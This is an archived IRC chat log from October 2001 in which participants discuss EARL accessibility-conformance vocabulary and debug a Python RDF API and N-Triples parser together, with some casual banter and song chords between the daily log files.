<wendy> yes, although he's in grad school and swamped. 22:14:44 <wendy> i'm likely to go it alone, primarily. 22:14:44 <sbp> heh, heh 22:15:00 <wendy> which will be fun. although i'm sure i'll be bugging you plenty. 22:15:06 <sbp> bug ahead 22:15:12 <wendy> thx 22:15:40 <sbp> I think I should take up writing documentation 22:15:43 <wendy> well, i'll write up some stuff on the tpdl and include it in this thing i'm working on. 22:15:48 <sbp> actually, that's your decision 22:15:55 <sbp> what should I do next for ERT? 22:16:09 <wendy> well, hmmm. 22:16:24 <wendy> i'm primarily concerned about what we are going to tell WCAG about using EARL on sites. 22:16:45 <wendy> so, any help with that would be good. 22:17:05 <sbp> just make something up! that's what I do 22:17:05 <wendy> secondly, i'm still real interested in what bugs you about 0.95 and how you would move to 1.0. 22:17:20 <wendy> that whole thing we discussed on monday. 22:17:32 <wendy> :) 22:17:36 <sbp> well, for a start: bug with 1.0: how do we make conformance claims about a whole site? 22:17:46 <wendy> yes. that needs attention. 22:17:49 <sbp> s/1.0/0.95 22:17:59 <wendy> yes, that's how i read it :) 22:18:18 <sbp> well, we could nick CWM's stuff for 0.95, or add something specialized to EARL 1.0 22:18:30 <sbp> s/or/and\/or/ 22:18:40 <AaronSw> Woooo! Test cases pass for rdfapi! 22:18:46 <sbp> [[[ 22:18:46 <sbp> It could be, for example:- 22:18:46 <sbp> _:a earl:testSubject _:b . 22:18:46 <sbp> _:b log:uri [ log:startsWith "http://example.org/" ] . 22:18:46 <sbp> It may turn out that we add some terms in the EARL 1.0 vocabulary to offer 22:18:47 <sbp> a "standardized solution" for this. 22:18:49 <sbp> ]]] 22:18:53 <sbp> Aaron: hooray! 22:19:06 <AaronSw> There were a ton of bugs but it works! It really works! 22:19:15 <wendy> rock on, aaron. 22:19:24 <sbp> where'd it go, again? 22:19:37 <sbp> * sbp should bookmark it 22:19:59 <AaronSw> Let me upload... 22:20:22 <sbp> ah, we could even say 22:20:53 <sbp> _:x a earl:Site; earl:testSubject <http://example.org/> . # would that work? 22:21:03 <wendy> sbp: what terms do you think we would need to add in EARL 1.0? "applies-across-domain" or "starts-at-base-uri" or stuff like that? 22:21:06 <sbp> Aaron: would it be valid to say that? 22:21:26 <AaronSw> It's well-formed RDF. 22:21:42 <AaronSw> I'm not sure what you mean by valid... 22:21:43 <sbp> yeah, we could add loads of stuff. I dunno why we were so conservative before: we should just add stuff 'till the schema explodes 22:21:51 <wendy> lol 22:22:09 <sbp> it doesn't matter if we add stuff and it's useless. It totally stuffs us if we don't add something and find we need it later on 22:22:22 <sbp> valid: does it make sense? 22:22:49 <wendy> * wendy considers how this would tie in w/html... 22:22:53 <sbp> for example... if I wanted to use a single page as a test case, I'd do... oh actually no, I don't think it does make sense 22:23:13 <sbp> tie in with HTML? 22:23:22 <wendy> well... 22:23:35 <wendy> lots of straws here... HTML base element... 22:23:45 <sbp> unless we created a new disjoint class. Ooh, that might work 22:23:55 <AaronSw> OK, it's at: http://blogspace.com/rdf/rdfapi.txt 22:23:58 <sbp> HTML base element? 22:24:01 <AaronSw> and http://blogspace.com/rdf/rdfapi-tests.txt 22:24:27 <wendy> hmm. no nothing there. 22:25:12 <wendy> there are two pieces that we need to look at here on out: 22:25:18 <wendy> 1. how the earl is structured 22:25:26 <wendy> 2. how the html references it 22:25:34 <wendy> keep in mind the following scenario: 22:26:02 <wendy> search engine ferrets out a set of pages that seem to fit the user's query then prioritizes them based on EARL. 22:26:14 <wendy> based on EARL compared to user preferences. 22:26:24 <wendy> hmmm. wonder if that means we would be keeping user preferences in EARL? 22:27:03 <wendy> or rather what is the earl model (rather than how structured) 22:27:24 <sbp> note to self: split :TestSubject up into smaller pairwise disjoint classes, restrict :testCase so that the domain is a union of those classes, spend ages telling people why I hacked it that way 22:28:02 <sbp> Wendy: example user's query? 22:29:28 <wendy> a user has uses a search engine (SE). SE knows that the user needs text equivalents (WCAG 1.0 cp 1.1) 22:29:50 <wendy> SE searches database for user's query "rdf api tests" it finds several pages, but puts highest 22:30:02 <wendy> priority on this one that claims it conforms to WCAG 1.0 cp 1.1 22:30:09 <wendy> not the most compelling example... 22:30:40 <wendy> the user could also say, "don't show me sites that don't make a claim, since they'll likely be useless to me." 22:30:44 <sbp> ah, I get it now. No, you're right 22:31:15 <wendy> about which part - user prefs in EARL? 22:31:53 <sbp> er... the preferences file would be something like a filter in whatever you're using to process the EARL, which in this case in the SE. The filters would be in whatever query/inference language the SE implements, which is annoying... standardized inference language, please! 22:32:08 <sbp> did I get that right? 22:33:45 <wendy> sounds reasonable, although I don't know that much about SEs. 22:33:46 <sbp> neither do I 22:33:59 <wendy> know anyone who does? 22:34:10 <sbp> Nick, perhaps? 22:34:24 <wendy> worth a shot. 22:34:30 <wendy> we ought to take this to the list for discussion. 22:34:35 <wendy> it's been really helpful. 22:34:44 <wendy> this is publicly archived somewhere, right? 22:34:49 <sbp> IRC has actually been productive. That's a first 22:34:59 <sbp> http://blogspace.com/swhack/chatlogs/2001-10-19.txt 22:35:30 <sbp> * sbp searches for naughty words first 22:35:35 <wendy> :) 22:35:44 <sbp> Hmm... we only said "fuck" once between the five of us today 22:35:49 <sbp> oh... twice 22:35:51 <wendy> lol 22:36:01 <wendy> how about i tailor it a bit and post it to the lsit? :) 22:36:01 <sbp> :-) 22:36:09 <sbp> Yeah, good idea :-) 22:36:20 <wendy> ok. we'll see where that gets us. 22:36:32 <wendy> well. that's been really good, but now i need a break. my brain and hands hurt. 22:36:33 <wendy> :) 22:36:42 <sbp> O.K. It's been nice chatting! 22:36:52 <wendy> fer sure! thanks a lot sean. 22:36:58 <sbp> you too 22:37:51 <AaronSw> Oh great, now my domain will be censored! I better move this to another. 22:38:05 <AaronSw> stupidpeopleswearing.com 22:38:12 <AaronSw> :-) 22:38:42 <sbp> well, you didn't lay out the ground rules... 22:38:52 <sbp> you could grep and replace all of the logs! 22:38:53 <AaronSw> Is swearing allowed on WAI lists? 22:39:04 <sbp> you'll get a kick up the arse if you do 22:39:09 <AaronSw> > As long as it's accessible! 22:39:15 <sbp> heh, heh 22:43:13 <AaronSw> Hm, 15 minutes till Shabbat. 22:43:23 <sbp> Hmm... 22:47:08 <AaronSw> Dylan is starting to grow on me. 22:48:02 <sbp> great! 22:48:09 <sbp> it does seem to take a while 22:48:29 <sbp> what albums/periods are you running through? 22:48:47 <AaronSw> Just the ones you gave me. 22:49:00 <AaronSw> Hmm, RDF storage and query in 101 lines -- not bad! 22:49:05 <sbp> ah. You should try getting entire albums and working through them that way 22:49:11 <sbp> 101: that is very very impressive 22:49:19 <AaronSw> Feel free to mail the albums to me. :) 22:49:22 <sbp> considering that CWM is about 10000001, and SWIPT is about 1001 22:49:27 <AaronSw> Heheh. 22:49:56 <AaronSw> I think I will leave this alone and move feature bloat to other modules ;) 22:50:10 <sbp> heh, heh 22:50:20 <sbp> do an EARL API thingy! 22:50:34 <AaronSw> Well, first I need to do a parser... 22:50:40 <AaronSw> Hey, could you do that for me? 22:50:46 <AaronSw> Convert over your N-Triples parser? 22:51:18 <AaronSw> And everything else you've ever written, sbp? 22:51:32 <AaronSw> And the CWM RDF parser too... 22:51:32 <wendy> re: editing log: i'm cleaning it up a bit. hope y'all don't mind. 22:51:53 <AaronSw> That's OK -- feel free to write me out of history. :) 22:51:59 <sbp> heh, heh, heh 22:52:08 <wendy> lol. you're still there. you've got a nice cameo. :) 22:52:17 <AaronSw> I'll be able to make more money off my tell-all book that wat. 22:52:19 <AaronSw> err way. 22:52:23 <sbp> I could convert SWIPT to your RDF API thing if you tell me how to do it 22:52:37 <AaronSw> 6 minutes -- what do you need to know? 22:52:37 <sbp> oh no, not a tell all book! I'm gonna be screwed 22:52:55 <wendy> here ya are http://lists.w3.org/Archives/Public/w3c-wai-er-ig/2001Oct/0036.html 22:52:59 <AaronSw> The test cases should give the jist of it. 22:53:02 <sbp> 6 minutes... well, I need for you to stabilize it first, and then I need to play about with it 22:53:18 <AaronSw> I think it's reasonably stable... play about with it and tell me why it sucks 22:53:23 <AaronSw> and we'll talk tomorrow night 22:53:36 <sbp> will do :-) 22:53:49 <sbp> Heh: "I've edited out 22:53:50 <sbp> irrelevant bits. 22:53:50 <sbp> " 22:54:00 <AaronSw> What'd be left then? 22:54:04 <sbp> lol 22:54:05 <AaronSw> Hmm, I need to do a test with asserting stuff about a triple... 22:55:41 <AaronSw> Cool, it even seems to work when I assert stuff about a triple. 22:55:50 <sbp> great 22:58:18 <AaronSw> OK, gotta run! 22:58:54 <sbp> O.K., c'ya! 22:59:06 <sbp> Have a nice Shabbat 22:59:10 <AaronSw> thx 22:59:11 <AaronSw> bye 22:59:15 <sbp> er... if you're meant to :-) 22:59:16 <sbp> bye 23:06:53 <wendy> bye guys. see you again soon. 23:06:57 <wendy> wendy has quit 23:07:57 <sbp> c'ya 23:17:34 <sbp> sbp has quit ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-10-20.txt��������������������������������������������������������������������������������������0100644�0000143�0000000�00000006326�07364407776�011707� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������root�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:32:24 <AaronSw> AaronSw has quit 00:32:24 <deltab> deltab has quit 00:40:20 <AaronSw> AaronSw has joined #swhack 02:04:57 <rillian> rillian has joined #swhack 02:05:09 <rillian> hi Aaron 02:05:16 <rillian> have a linux boot image I could borrow? 02:34:45 <sbp> sbp has joined #swhack 02:43:38 <sbp> sbp has quit 03:17:44 <AaronSw> AaronSw has quit 03:20:36 <AaronSw> AaronSw has joined #swhack 03:31:44 <AaronSw> AaronSw has quit 03:39:50 <AaronSw> AaronSw has joined #swhack 03:52:45 <rillian> re 04:07:02 <rillian> Aaron? 05:52:55 <AaronSw> AaronSw has quit 05:53:19 <AaronSw> AaronSw has joined #swhack 11:12:04 <rillian> rillian has quit 11:49:57 <AaronSw> AaronSw has quit 13:45:27 <AaronSw> AaronSw has joined #swhack 15:05:36 <AaronSw> AaronSw has quit 15:05:39 <AaronSw> AaronSw has joined #swhack 15:06:18 <AaronSw> AaronSw has quit 15:06:37 <AaronSw> AaronSw has joined #swhack 17:26:25 <sbp> sbp has joined #swhack 17:26:35 <sbp> sbp has quit 19:04:11 <rillian> rillian has joined #swhack 19:23:59 <rillian> rillian has quit 19:56:38 <rillian> rillian has joined #swhack 20:02:48 <sbp> sbp has joined #swhack 20:05:55 <sbp> sbp has quit 21:18:40 <rillian> rillian has quit 23:25:14 <sbp> sbp has joined #swhack 23:25:32 <sbp> logster, grep "In may" 23:25:36 <logster> I'm logging. I found 1 answer for '"In may" ' 23:25:37 <logster> 0) 2001-10-20 23:25:32 <sbp> logster, grep "In may" 23:25:48 <sbp> logster, grep In May 23:25:51 <logster> I'm logging. I found 3 answers for 'In May' 23:25:52 <logster> 0) 2001-10-20 23:25:48 <sbp> logster, grep In May 23:25:53 <logster> 1) 2001-10-07 22:33:12 <sbp> Cuckoos In May, Mr. Brady's Envelope 23:25:54 <logster> 2) 2001-09-30 00:45:52 <sbp> Cookoos In May 23:26:10 <sbp> thanks logster 23:26:14 <sbp> logster, thanks 23:26:14 <sbp> I'm logging. I don't understand 'thanks', sbp. Try /msg logster help 23:26:19 <sbp> :-) 23:26:20 <sbp> sbp has quit 23:50:35 <AaronSw> * AaronSw waves 23:53:15 <sbp> sbp has joined #swhack 23:53:33 <sbp> * sbp messes about with some songs 23:56:22 <AaronSw> * AaronSw looks for his topic... 23:56:50 <sbp> sbp has changed the topic to: this topic was found under a sofa 23:57:39 <sbp> Hi Aaron :-) 23:57:53 <AaronSw> AaronSw has changed the topic to: € <-- The universal logo: stick it on your TV, magazines and newspapers. 23:57:57 <AaronSw> Hello there. 23:58:03 <AaronSw> * AaronSw just finished reading adbusters. 23:58:15 <sbp> <h2>Mr. Brady's Envelope, 2001-10-06</h2> 23:58:16 <sbp> <pre> 23:58:16 <sbp> EbMaj Cm EbMaj Cm AbMaj BbMaj BbMaj9 23:58:16 <sbp> EbMaj Cm Cm7 AbMaj BbMaj BbMaj9 23:58:16 <sbp> EbMaj Bbm7 Bm7 23:58:16 <sbp> Mr. Brady's Envelope, sitting in the tree 23:58:18 <sbp> Mr. Brady's Envelope, don't mean much to me 23:58:20 <sbp> </pre> 23:58:22 <sbp> um... 23:58:40 <sbp> well, there you go 23:58:44 <sbp> that'll teach me to paste when I wanted to copy 23:58:52 <AaronSw> Heheh. 23:59:19 <sbp> Well, now the whole world is going to steal a worthless joke song I wrote! 23:59:32 <sbp> I hope you're happy, Aaron. It was your symbold I was trying to copy 23:59:47 <AaronSw> * AaronSw is very happy 23:59:49 <AaronSw> Does it display properly on your machine? 23:59:53 <AaronSw> It's supposed to be a black dot. 23:59:56 <sbp> it's a black blob 23:59:58 <sbp> yeah ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-10-21.txt��������������������������������������������������������������������������������������0100644�0000143�0000000�00000166010�07364656473�011705� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������root�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:00:07 <AaronSw> Ah good. 00:00:12 <AaronSw> Cool! http://adbusters.org/campaigns/july4/debate/comments.html 00:00:18 <sbp> * sbp just wrote up many of his songs, in HTML form, as you can tell... 00:00:21 <AaronSw> specifically: http://adbusters.org/campaigns/july4/debate/comments.html?id=3715 00:00:34 <sbp> but not online! except for that one... 00:00:48 <sbp> oh, this is your deeley 00:00:53 <sbp> isn't it hosted on your box? 00:00:59 <AaronSw> The logs? 00:01:09 <AaronSw> I've been composing songs like that while I walk back from school... quite fun. 00:01:17 <AaronSw> I need to produce one for an adbusting movie. 00:01:41 <sbp> cool 00:01:55 <sbp> have you written any of the down? Except the /x75 one 00:02:03 <AaronSw> No, not really. 00:02:14 <AaronSw> They're very much spontaneously improvised. 00:02:36 <AaronSw> It's fun tho, the lyrics and rhyming work out surprisingly well 00:02:41 <AaronSw> even tho you can't stop and rewind. 00:04:24 <sbp> * sbp comes up with a convoluted chord sequence... I just can't get it to fit the pattern that I know it should fit 00:05:54 <sbp> Bm7 Am7(V) GMaj/GMaj7 x 00:05:56 <sbp> fill in the x! 00:06:23 <AaronSw> After learning intervals in music class I can sort of read that! :) 00:06:29 <AaronSw> So did you mess any with rdfapi? 00:06:38 <sbp> I sent a letter to www-archive about it 00:07:14 <AaronSw> Ah, I see. 00:07:23 <AaronSw> Yes, I realized the comma bug as I woke up this morning. ;) 00:07:44 <AaronSw> What else was there... oh yes, equivalence and repr 00:08:29 <sbp> how do you feed in bNodes??? 00:08:39 <AaronSw> Just call Node() 00:08:43 <AaronSw> err nod() 00:08:47 <AaronSw> err node() 00:08:48 <AaronSw> sorry 00:08:48 <sbp> node() 00:08:55 <sbp> and feed it what? 00:09:00 <AaronSw> Nothing. 00:09:05 <AaronSw> It'll return a blank node 00:09:09 <sbp> http://lists.w3.org/Archives/Public/www-archive/2001Oct/0024 00:09:16 <AaronSw> > I'm still not sure how it manages to decode the literal back into a u'' literal, seeing as how there is no reverse function. 00:09:20 <AaronSw> Why would you need it to reverse? 00:09:25 <AaronSw> Ahh, for output? 00:09:28 <sbp> yeah 00:09:30 <AaronSw> I'll add that... 00:10:19 <sbp> O.K., so say I was feeding in a triple... I could send it triple.store('x', 'y', ???) 00:10:35 <sbp> how would I feed it in nothing where the "???" is to get a blank node? 00:10:52 <sbp> and, what happens when I want to feed in _:b and _:b: labelling the nodes? 00:11:08 <AaronSw> store.triple('x', 'y', rdfapi.node()) 00:11:45 <sbp> so, for :x :y _:b . :y :x _:b . what would I do? 00:12:07 <AaronSw> b = rdfapi.node() 00:12:17 <AaronSw> store.triple('x', 'y', b) 00:12:23 <AaronSw> store.triple('y', 'x', b) 00:12:34 <sbp> but in practice, I can't do that when parsing an NT document into the store 00:12:50 <sbp> well, I can, but it'll be tricky 00:13:00 <sbp> I'll have to create a list of label/node values 00:13:16 <AaronSw> Yes, same with output. 00:13:28 <AaronSw> Just use a dictionary to do it. 00:13:41 <AaronSw> label2Node['b'] = node() 00:14:01 <AaronSw> store.triple(label2Node[nodeID], 'a','b') 00:14:44 <AaronSw> Why should I define useful namespaces in in the API itself? 00:14:50 <AaronSw> wouldn't it be better to make that a separate file? 00:15:14 <sbp> dunno, just thought it would be neat 00:15:37 <AaronSw> I took out the one I did define because I didn't use it. 00:15:40 <AaronSw> Feel free to make a file of them for me. 00:15:44 <sbp> O.K. 00:20:04 <sbp> * sbp makes NTriples.py RDF API "compliant" 00:20:12 <AaronSw> Yay! :) 00:24:51 <AaronSw> Boston rocks: http://www.nat.org/camera/dsc03097-800x600.jpg 00:26:03 <sbp> so... '' is a URI, u'' is a literal? 00:26:07 <AaronSw> Yep. 00:26:16 <AaronSw> Bijan helped me come up with that trick. 00:26:23 <sbp> is there a function to convert '' to u''? 00:26:27 <sbp> in Python 00:26:41 <AaronSw> Hmm... let me check... 00:26:46 <AaronSw> Hehe, Wes Felter: "I was surprised that the BMW salesman just handed me the keys and told me to bring it back by 6." - Hehe, Wes Felter: "I was surprised that the BMW salesman just handed me the keys and told me to bring it back by 6." 00:26:55 <AaronSw> Oops, I meant http://wmf.editthispage.com/discuss/msgReader$5989 00:29:10 <sbp> * sbp goes looking for the function 00:29:42 <AaronSw> sbp, unicode('foo') 00:29:54 <AaronSw> >>> unicode('foo') 00:29:54 <AaronSw> u'foo' 00:30:06 <sbp> yep, just got it at the same time :-) 00:30:15 <sbp> and you can encode as UTF-8... neat 00:30:22 <AaronSw> Wes: "I can tell that it would be easy to accumulate speeding tickets in any of these cars." :) 00:33:04 <sbp> ugh, are you really sure you want to lose the bNode names? 00:33:16 <AaronSw> Why is it so important to keep them? 00:33:34 <AaronSw> Just indirect to objects thru a dictionary. 00:33:34 <sbp> aw... it's not 00:33:55 <AaronSw> Want me to create a simple function to do it for you? 00:35:31 <AaronSw> nodeid2node_map = {} 00:35:32 <AaronSw> def nodeid2node(nodeid): 00:35:32 <AaronSw> if not nodeid2node_map.has_key(nodeid): 00:35:33 <AaronSw> nodeid2node_map[nodeid] = rdfapi.node() 00:35:33 <AaronSw> return nodeid2node_map[nodeid] 00:36:34 <sbp> i've already done that 00:36:42 <AaronSw> So why's it so hard? 00:36:46 <sbp> I'm doing an output function now 00:37:03 <AaronSw> Oh... I was going to do that in __repr__... 00:37:09 <AaronSw> Well, it just goes the other way 00:37:16 <AaronSw> reverse the direction of the dictionary. 00:38:08 <sbp> yep 00:38:18 <sbp> * sbp is doing other things at the same time, sorry... 00:38:28 <sbp> what future do you predict for this API? 00:38:41 <sbp> I mean: why bother, etc.? Gameplan? 00:38:43 <AaronSw> I hope to use it in all my apps, which will eventually take over the world. 00:39:04 <AaronSw> > I know, I know: it's an RDF 1.0 API. But is there any chance of a Quad class too? 00:39:04 <AaronSw> Umm, it's emphatically not an RDF 1.0 API... and they already are effectively quads. 00:39:10 <sbp> aha, that's reason enough for me to port my code over 00:39:26 <AaronSw> :-) 00:39:41 <sbp> ah, but they're tacky quads: with statement IDs. I meant quads with contexts 00:39:47 <sbp> pents, then... 00:39:54 <AaronSw> What do you think store() does? 00:40:04 <AaronSw> I'm still thinking of the best way to do it though... 00:40:11 <AaronSw> Next up is to implement N3 and RDF/XML parsing and them make a cwm-style command-line app. 00:41:49 <AaronSw> Want me to do the N-Triples output then? 00:42:38 <AaronSw> sbp? 00:42:49 <sbp> No, I'm doing it now you big lunatic 00:43:00 <AaronSw> OK, just asking. :) 00:43:59 <sbp> ugh, this is a pain in the butt. O.K., when you have a dictionry, can you do for x in dictionary, and what does that return for x? 00:44:26 <AaronSw> You probably want for x in dict.keys() 00:44:42 <sbp> ah, yes, probably 00:44:53 <AaronSw> I started this last night and I got this far: 00:44:54 <AaronSw> output = '( ' 00:44:54 <AaronSw> for t in self.tripleList: 00:44:54 <AaronSw> output += '\n\t{ <%s> <%s> <%s> }' % (t.subject.uri, t.predicate.uri, t.object.uri) 00:44:54 <AaronSw> output += '\n)' 00:44:54 <AaronSw> return output 00:45:10 <AaronSw> where self is a store 00:45:31 <sbp> I've got:- 00:45:31 <sbp> def printnt(self): 00:45:32 <sbp> x = '' 00:45:32 <sbp> self.bNodes = {} 00:45:32 <sbp> for triple in self.tripleList: 00:45:32 <sbp> for term in triple: 00:45:34 <sbp> if not term.uri: bNodes[term] = self.generatelabel(term) 00:45:36 <sbp> def generatelabel(self): 00:45:38 <sbp> for bNode in self.bNodes('keys'): 00:46:17 <AaronSw> Huh? 00:46:45 <sbp> oops 00:46:49 <sbp> s/bNodes/self.bNodes 00:47:14 <AaronSw> I'm not sure for term in tripleList will work? 00:47:16 <sbp> er, and I meant .keys 00:47:40 <AaronSw> I meant "for term in triple" 00:49:05 <AaronSw> I think it's simpler than that -- whenever you encounter a node that isn't in the dict, just generate a random label for it. 00:49:15 <AaronSw> or rather increment the last label 00:49:49 <sbp> no, because if you match two nodes, then you have to generate the same label for them 00:50:06 <AaronSw> Right, which is why you check that it's not in the dit 00:50:08 <AaronSw> err dict 00:50:25 <sbp> but you won't have a dict 00:50:50 <AaronSw> Why not... 00:51:16 <AaronSw> if not hasattr(t.subject, 'uri') and t.subject not in dict.keys(): 00:51:41 <AaronSw> dict[t] = 'a' + str(nodeNum + 1) 00:51:53 <AaronSw> ... repeat for preducate, object ... 00:53:31 <sbp> on second thought, you can do the output function for me :-) 00:53:50 <AaronSw> Heheh. I'll write an example you can convert to something more appropriate. :) 00:54:23 <sbp> well, I've written the NTriples parser, but I have no way of telling if it has worked or not 00:55:03 <AaronSw> OK... let me write the __repr_ func... just a sec 00:57:41 <sbp> how do I get it to print an exception to file? 00:57:53 <sbp> try: x.parsen(sys.argv[1]) 00:57:54 <sbp> except: print ??? 00:58:01 <AaronSw> look in logicerror.com/archiverProxy-code 00:58:37 <AaronSw> search for 'errors.txt' 01:00:23 <sbp> traceback.print_exception doesn't work... 01:01:05 <AaronSw> really? 01:01:12 <AaronSw> OK, finished the basic N-Triples stuff, should I upgrade? 01:01:18 <AaronSw> Example output: 01:01:18 <AaronSw> ( 01:01:19 <AaronSw> { <http://www.w3.org/> <http://purl.org/dc/elements/1.1/title> <data:,World%20Wide%20Web%20Consortium%20%28W3C%29> } 01:01:19 <AaronSw> { _:a1 <http://example.org/foo/said> <http://example.org/foo/Aaron> } 01:01:19 <AaronSw> ) 01:01:53 <sbp> yeah, please 01:03:05 <AaronSw> code is really ugly 01:03:18 <sbp> File "ntriples.py", line 78, in run 01:03:18 <sbp> try: x.parsen(sys.argv[1]) 01:03:18 <sbp> File "ntriples.py", line 33, in parsen 01:03:18 <sbp> f = open(fn, 'r'); self.parse(f); f.close() 01:03:18 <sbp> File "ntriples.py", line 38, in parse 01:03:19 <sbp> self.parsent() # Parse self.document into self.quads 01:03:21 <sbp> File "ntriples.py", line 53, in parsent 01:03:23 <sbp> self.appendq(line) 01:03:25 <sbp> File "ntriples.py", line 65, in appendq 01:03:27 <sbp> if not self.bNodes[bNode]: self.bNodes[bNode] = rdf.node() 01:03:29 <sbp> KeyError: a 01:03:30 <AaronSw> OK, it's uploaded 01:05:09 <AaronSw> ... and tests.. 01:09:19 <sbp> <method Store.__repr__ of NTriples instance at 007DDB6C> 01:09:40 <sbp> how do I get it to print out? 01:09:42 <sbp> I have x 01:09:53 <sbp> x = rdf.Store() 01:09:57 <sbp> I fed some junk in 01:10:01 <AaronSw> print x 01:10:03 <sbp> I want to print that junk out 01:10:06 <sbp> ah, neat 01:10:11 <sbp> very neat :-) 01:10:15 <AaronSw> :-) 01:10:52 <sbp> File "ntriples.py", line 84, in run 01:10:52 <sbp> try: print x 01:10:52 <sbp> File "rdfapi.py", line 165, in __repr__ 01:10:52 <sbp> sub = '<'+t.subject.uri+'>' 01:10:52 <sbp> TypeError: cannot add type "None" to string 01:11:15 <AaronSw> Hmm... 01:11:22 <sbp> it's in rdfapi, so it's your problem :-) 01:11:27 <sbp> my end works just fine... ahem 01:11:27 <AaronSw> How is it getting None as uri? 01:11:40 <sbp> bNodes have none as a URI 01:11:49 <sbp> s/none/None/ 01:12:01 <AaronSw> They're not supposed to... 01:12:20 <sbp> what?! 01:12:20 <sbp> class Node: 01:12:20 <sbp> nodeList = {} 01:12:20 <sbp> 01:12:20 <sbp> def __init__(self, uri=None): 01:12:34 <AaronSw> OK, fixed. 01:12:40 <AaronSw> * AaronSw uploads 01:13:16 <AaronSw> Done. 01:14:00 <sbp> hooray! 01:14:00 <sbp> ( 01:14:00 <sbp> { _:a1 <#b> <data:,c> } 01:14:00 <sbp> { <data:,d> <data:,e> <data:,f> } 01:14:00 <sbp> { <#g> <data:,h> _:a1 } 01:14:01 <sbp> { <#j> <#k> <#l> } 01:14:03 <sbp> { _:a1 _:a1 _:a1 } 01:14:05 <sbp> { <#p> <#q> <data:,%5C%22r> } 01:14:07 <sbp> { <data:,%5C%22s> <#t> <data:,> } 01:14:09 <sbp> ) 01:14:11 <AaronSw> Cool! 01:14:14 <sbp> Pff: make it output proper NTriples, Aaron... 01:14:27 <sbp> ah, your bNode output isn't working 01:14:27 <AaronSw> Yes, that's a job for the ntriples.py module ;) 01:14:31 <sbp> the input data is:- 01:14:40 <sbp> _:a <#b> "c" . 01:14:40 <sbp> "d" "e" "f". 01:14:40 <sbp> <#g> "h" _:i . 01:14:40 <sbp> <#j> <#k> <#l> . 01:14:40 <sbp> _:m _:n _:o . 01:14:40 <sbp> <#p> <#q> "\"r" . 01:14:42 <sbp> 01:14:44 <sbp> "\"s" <#t> "" . 01:14:48 <sbp> # iophfeia gjpao 01:14:48 <AaronSw> Oh, I see the bug. 01:15:57 <AaronSw> Fixed in 1003627044 01:17:11 <AaronSw> Heh: <tim> sbp finds that "a" is too long for rdf:type? Sigh ... 01:17:40 <sbp> :-) 01:18:26 <sbp> once again, I get: ( 01:18:26 <sbp> { _:a1 <#b> <data:,c> } 01:18:26 <sbp> { <data:,d> <data:,e> <data:,f> } 01:18:26 <sbp> { <#g> <data:,h> _:a1 } 01:18:26 <sbp> { <#j> <#k> <#l> } 01:18:27 <sbp> { _:a1 _:a1 _:a1 } 01:18:29 <sbp> { <#p> <#q> <data:,%5C%22r> } 01:18:31 <sbp> { <data:,%5C%22s> <#t> <data:,> } 01:18:33 <sbp> ) 01:18:38 <AaronSw> Did you get the right version? 01:18:46 <sbp> 1003627044 01:18:59 <AaronSw> Then the bug is in your code now. :) 01:20:24 <sbp> ugh 01:20:40 <AaronSw> URI so I can look it over? 01:21:33 <sbp> er... it doesn't have one 01:21:43 <AaronSw> I know... 01:24:19 <sbp> I'm pretty sure it's a problem in RDF API 01:24:28 <sbp> self.bNodes: {'n': <rdfapi.Node instance at 007E037C>, 'o': <rdfapi.Node instance at 007E037C>, 'a': <rdfapi.Node instance at 007E037C>, 'm': <rdfapi.Node instance at 007E037C>, 'i': <rdfapi.Node instance at 007E037C>} 01:24:55 <AaronSw> Umm, that would indicate the bug is in your code 01:25:01 <AaronSw> Note that all of those are the same node instance! 01:25:12 <sbp> gprmgpmrh 01:25:40 <sbp> I have:- 01:25:41 <sbp> try: a = self.bNodes[bNode] 01:25:41 <sbp> except: self.bNodes[bNode] = rdf.node() 01:26:24 <AaronSw> The try should probably be replaced with: 01:26:26 <sbp> that should generate a new node, shouldn't it? 01:26:31 <AaronSw> if not a in self.bNodes.keys() 01:26:47 <AaronSw> Ah, you never reset 'a' do you! 01:26:47 <sbp> s/a/bNode 01:27:01 <sbp> a is just a bit of crud: I don't use a 01:27:38 <sbp> I've changed it, with same result 01:28:00 <sbp> if not bNode in self.bNodes.keys(): 01:28:00 <sbp> self.bNodes[bNode] = rdf.node() 01:28:03 <AaronSw> * AaronSw tries to follow your code... 01:28:09 <sbp> hit refresh 01:28:23 <AaronSw> elif term[:2] == '_:': # Term is an unlabelled node: bNode 01:28:31 <AaronSw> Doesn't that get the _last_ two chars in term? 01:28:46 <AaronSw> Oh, never mind. 01:29:07 <sbp> it gets all but the first two 01:29:30 <sbp> I hope :-) 01:30:13 <AaronSw> Oh, i see the bug... it was in my code 01:30:43 <sbp> aha! 01:31:19 <AaronSw> Use this code: 01:31:20 <AaronSw> if (not Node.nodeList.has_key(value) # Node hasn't been interned... 01:31:20 <AaronSw> and value is not None): # ... and it's not blank ... 01:31:20 <AaronSw> Node.nodeList[value] = Node(value) # ... so do it now. 01:31:26 <AaronSw> Hmm... I'll upload it... 01:31:49 <sbp> thanks 01:32:08 <AaronSw> OK: 1003627984 is uploaded 01:32:26 <AaronSw> Sorry about that -- the code was thinking None was a URI. 01:33:05 <sbp> File "ntriples.py", line 74, in run 01:33:06 <sbp> try: x.parsen(sys.argv[1]) 01:33:06 <sbp> File "ntriples.py", line 27, in parsen 01:33:06 <sbp> f = open(fn, 'r'); self.parse(f); f.close() 01:33:06 <sbp> File "ntriples.py", line 32, in parse 01:33:06 <sbp> self.parsent() # Parse self.document into self.quads 01:33:08 <sbp> File "ntriples.py", line 47, in parsent 01:33:10 <sbp> self.appendt(line) 01:33:12 <sbp> File "ntriples.py", line 60, in appendt 01:33:14 <sbp> self.bNodes[bNode] = rdf.node() 01:33:16 <sbp> File "rdfapi.py", line 95, in node 01:33:18 <sbp> return Node.nodeList[value] # Now return the node 01:33:20 <sbp> KeyError 01:34:10 <AaronSw> Oops... 01:35:06 <AaronSw> OK, try 1003628181 01:35:39 <sbp> 1003627044 is online 01:36:14 <AaronSw> Oops, forgot to hit save. Try now. 01:36:57 <sbp> hooray" 01:36:58 <sbp> ( 01:36:59 <sbp> { _:a1 <#b> <data:,c> } 01:36:59 <sbp> { <data:,d> <data:,e> <data:,f> } 01:36:59 <sbp> { <#g> <data:,h> _:a2 } 01:36:59 <sbp> { <#j> <#k> <#l> } 01:36:59 